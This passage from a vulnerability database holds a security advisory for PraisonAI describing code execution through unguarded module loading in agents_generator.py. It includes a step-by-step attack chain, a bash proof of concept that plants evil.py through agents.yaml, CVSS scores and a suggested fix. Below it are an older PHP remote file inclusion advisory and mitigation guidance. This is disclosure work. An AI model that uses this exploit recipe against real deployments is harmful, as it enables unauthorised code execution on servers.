allowlist. The \u003ccode\u003emodule_path\u003c/code\u003e value originates from YAML agent configuration (\u003ccode\u003eagents.yaml\u003c/code\u003e) tool definitions, which can be:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-controlled via shared/writable config directory\u003c/strong\u003e \u2014 same CWD-plant vector as CVE-2026-40156.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-controlled via recipe/GitHub fetch\u003c/strong\u003e \u2014 same remote trigger as CVE-2026-44334 (\u003ccode\u003ePOST /v1/recipes/run\u003c/code\u003e with \u003ccode\u003eallow_any_github=True\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAttacker-influenced via prompt injection\u003c/strong\u003e \u2014 an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3\u003eAttack chain (recipe vector)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:\u0026lt;attacker\u0026gt;/\u0026lt;repo\u0026gt;/\u0026lt;recipe\u0026gt;\"}\n        \u2502\n        \u25bc\n  Recipe fetched \u2192 agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        \u2502\n        \u25bc\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        \u2502\n        \u25bc\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   \u2190 RCE\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNo \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.\u003c/p\u003e\n\u003ch3\u003ePoC\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003e#!/usr/bin/env bash\n# Requires: pip install praisonai (any version \u0026gt;= 2.0.0, \u0026lt;= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat \u0026gt; \"$WORKDIR/evil.py\" \u0026lt;\u0026lt; \u0027PYEOF\u0027\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat \u0026gt; \"$WORKDIR/agents.yaml\" \u0026lt;\u0026lt; \u0027YAMLEOF\u0027\nframework: praisonai\ntopic: \"PoC \u2014 agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file=\u0027agents.yaml\u0027)\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2\u0026gt;/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS \u2014 marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL \u2014 marker not found\"\n    exit 1\nfi\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch3\u003eImpact\u003c/h3\u003e\n\u003cp\u003eArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction \u2014 before any LLM interaction \u2014 so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an \u003ccode\u003eagents.yaml\u003c/code\u003e or colocate a \u003ccode\u003e.py\u003c/code\u003e file achieves code execution as the service account.\u003c/p\u003e\n\u003ch3\u003eSeverity\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eHigh\u003c/strong\u003e \u2014 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)\u003c/p\u003e\n\u003cp\u003eWhen combined with the recipe server\u0027s default no-auth posture and \u003ccode\u003eallow_any_github=True\u003c/code\u003e, the attack becomes \u003cstrong\u003enetwork-reachable without authentication\u003c/strong\u003e, elevating to:\u003c/p\u003e\n\u003cp\u003eCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\u003c/p\u003e\n\u003ch3\u003eCWE\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\u003c/li\u003e\n\u003cli\u003eCWE-426: Untrusted Search Path\u003c/li\u003e\n\u003cli\u003eCWE-829: Inclusion of Functionality from Untrusted Control Sphere\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAffected versions\u003c/h3\u003e\n\u003cp\u003eAll versions containing \u003ccode\u003eagents_generator.py\u003c/code\u003e with these functions \u2014 at minimum \u003ccode\u003e\u0026gt;= 2.0.0, \u0026lt;= 4.6.37\u003c/code\u003e (current \u003ccode\u003emaster\u003c/code\u003e HEAD).\u003c/p\u003e\n\u003ch3\u003eSuggested fix\u003c/h3\u003e\n\u003cp\u003eApply the same \u003ccode\u003ePRAISONAI_ALLOW_LOCAL_TOOLS\u003c/code\u003e env-var gate used in \u003ccode\u003etool_resolver.py\u003c/code\u003e and \u003ccode\u003eapi/call.py\u003c/code\u003e to both call sites in \u003ccode\u003eagents_generator.py\u003c/code\u003e:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eimport os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eAdditionally, validate \u003ccode\u003emodule_path\u003c/code\u003e against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.\u003c/p\u003e\n\u003ch3\u003eCredit\u003c/h3\u003e\n\u003cp\u003eKai Aizen \u0026amp; Avraham Shemesh / \u003ca href=\"https://snailsploit.com/\"\u003eSnailSploit\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)\n\n### TL;DR\n\nThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\n\n### Patch lineage\n\n| CVE | GHSA | Fixed in | What was patched |\n| --- | --- | --- | --- |\n| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` |\n| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` |\n| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` |\n| **This finding** | \u2014 | **unfixed** | Missed sinks in `agents_generator.py` |\n\nEvery prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\n\n### Vulnerable code\n\n```python\n# praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # \u2190 NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern \u2014 spec_from_file_location \u2192 exec_module, no gate)\n```\n\nNeither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be:\n\n1. **Attacker-controlled via shared/writable config directory** \u2014 same CWD-plant vector as CVE-2026-40156.\n2. **Attacker-controlled via recipe/GitHub fetch** \u2014 same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`).\n3. **Attacker-influenced via prompt injection** \u2014 an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\n\n### Attack chain (recipe vector)\n\n```\nHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:\u003cattacker\u003e/\u003crepo\u003e/\u003crecipe\u003e\"}\n        \u2502\n        \u25bc\n  Recipe fetched \u2192 agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        \u2502\n        \u25bc\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        \u2502\n        \u25bc\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   \u2190 RCE\n```\n\nNo `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\n# Requires: pip install praisonai (any version \u003e= 2.0.0, \u003c= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat \u003e \"$WORKDIR/evil.py\" \u003c\u003c \u0027PYEOF\u0027\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat \u003e \"$WORKDIR/agents.yaml\" \u003c\u003c \u0027YAMLEOF\u0027\nframework: praisonai\ntopic: \"PoC \u2014 agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file=\u0027agents.yaml\u0027)\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2\u003e/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS \u2014 marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL \u2014 marker not found\"\n    exit 1\nfi\n```\n\n### Impact\n\nArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction \u2014 before any LLM interaction \u2014 so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account.\n\n### Severity\n\n**High** \u2014 CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)\n\nWhen combined with the recipe server\u0027s default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to:\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\n\n### CWE\n\n- CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)\n- CWE-426: Untrusted Search Path\n- CWE-829: Inclusion of Functionality from Untrusted Control Sphere\n\n### Affected versions\n\nAll versions containing `agents_generator.py` with these functions \u2014 at minimum `\u003e= 2.0.0, \u003c= 4.6.37` (current `master` HEAD).\n\n### Suggested fix\n\nApply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`:\n\n```python\nimport os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n```\n\nAdditionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.\n\n### Credit\n\nKai Aizen \u0026 Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)",
  "id": "GHSA-78r8-wwqv-r299",
  "modified": "2026-05-29T22:26:31Z",
  "published": "2026-05-29T22:26:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334"
}

GHSA-793F-CWFR-G87Q

Vulnerability from github – Published: 2022-05-02 03:51 – Updated: 2022-05-02 03:51
VLAI
Details

PHP remote file inclusion vulnerability in forums/Forum_Include/index.php in Outreach Project Tool (OPT) 1.2.7 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the CRM_path parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-4082"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-11-29T13:07:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in forums/Forum_Include/index.php in Outreach Project Tool (OPT) 1.2.7 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the CRM_path parameter.",
  "id": "GHSA-793f-cwfr-g87q",
  "modified": "2022-05-02T03:51:30Z",
  "published": "2022-05-02T03:51:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4082"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/54379"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/60464"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.org/0911-exploits/opt-rfi.txt"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/37447"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/10218"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/37090"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.